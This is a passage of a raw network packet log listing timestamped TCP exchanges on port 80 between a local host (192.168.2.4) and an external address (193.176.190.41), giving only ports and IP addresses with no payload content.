Aug 30, 2024 18:13:03.728331089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728336096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728343010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728353977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728363991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728379011 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728394985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728755951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728766918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728799105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728806973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728815079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728827000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728840113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728869915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728954077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728965044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728975058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728986979 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728996038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.729012012 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.729038954 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.729129076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.729141951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.729173899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.732812881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.732853889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.732863903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.732866049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.732893944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.732903957 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.732975960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.732988119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.732997894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733012915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733015060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733036995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733051062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733058929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733227968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733243942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733253956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733263016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733274937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733274937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733287096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733297110 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733300924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733313084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733321905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733325958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733339071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733366966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733563900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733575106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733587027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733606100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733618975 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733678102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733689070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733700037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733710051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733716965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733721018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733736038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733741999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733752966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733756065 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733768940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733781099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733783007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733792067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733803988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733808994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733819008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.733833075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.733861923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734324932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734337091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734347105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734357119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734368086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734375000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734385967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734395981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734395981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734416962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734420061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734427929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734441996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734445095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734453917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734460115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.734471083 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.734498978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755454063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755498886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755508900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755522013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755548954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755623102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755702019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755702019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755702019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755706072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755718946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755729914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755747080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755760908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755774021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755906105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755918026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755928040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755939007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755949974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755954981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.755968094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.755978107 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756005049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756251097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756263018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756273031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756283045 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756293058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756304026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756304026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756321907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756324053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756334066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756344080 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756345987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756359100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756386042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756684065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756695986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756710052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756721020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756728888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756731033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.756758928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.756783009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.813920021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813932896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813942909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813952923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813970089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813980103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.813992023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814002037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814012051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814023972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814030886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814090967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814243078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814254999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814265013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814280987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814290047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814306021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814336061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814527988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814538002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814569950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814582109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814635992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814656019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814666033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814680099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814692020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814713001 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814838886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814850092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814861059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814877033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.814879894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814897060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.814920902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.815001011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815043926 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.815093994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815104961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815114975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815124989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815134048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.815135002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.815156937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.815186024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.815984011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816035032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816040993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.816047907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816077948 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.816091061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.816169977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816180944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816190958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816200972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.816212893 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.816246033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819333076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819376945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819396019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819407940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819432020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819433928 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819452047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819467068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819611073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819653034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819665909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819681883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819734097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819763899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819773912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819783926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819794893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819808006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819822073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819843054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.819936037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819946051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819957018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819967985 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.819977045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820002079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820188999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820199966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820209026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820219040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820225000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820231915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820247889 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820247889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820261002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820271015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820276976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820285082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820296049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820308924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820332050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820516109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820527077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820537090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820547104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820558071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820560932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820574045 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820599079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820703983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820715904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820725918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820735931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820746899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820746899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820771933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820791960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.820985079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.820996046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821006060 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821016073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821026087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821032047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821038008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821048975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821050882 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821060896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821070910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821079969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821084976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821084976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821093082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821119070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821147919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821345091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821356058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821366072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.821388960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.821413040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842561960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842578888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842590094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842600107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842616081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842626095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842627048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842638016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842649937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842649937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842689037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842732906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842746019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842772961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842792988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842941046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842952967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842962027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842972994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.842983007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.842983961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843002081 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843008995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843013048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843023062 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843025923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843049049 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843071938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843267918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843278885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843314886 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843353987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843365908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843375921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843385935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843394995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843395948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843411922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843419075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843425035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843436003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843436956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.843466997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.843487024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.900571108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900583029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900593042 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900660038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.900700092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900701046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.900717974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900728941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900741100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.900747061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.900768042 CEST	49733	80	192.168.2.4	193.176.190.41
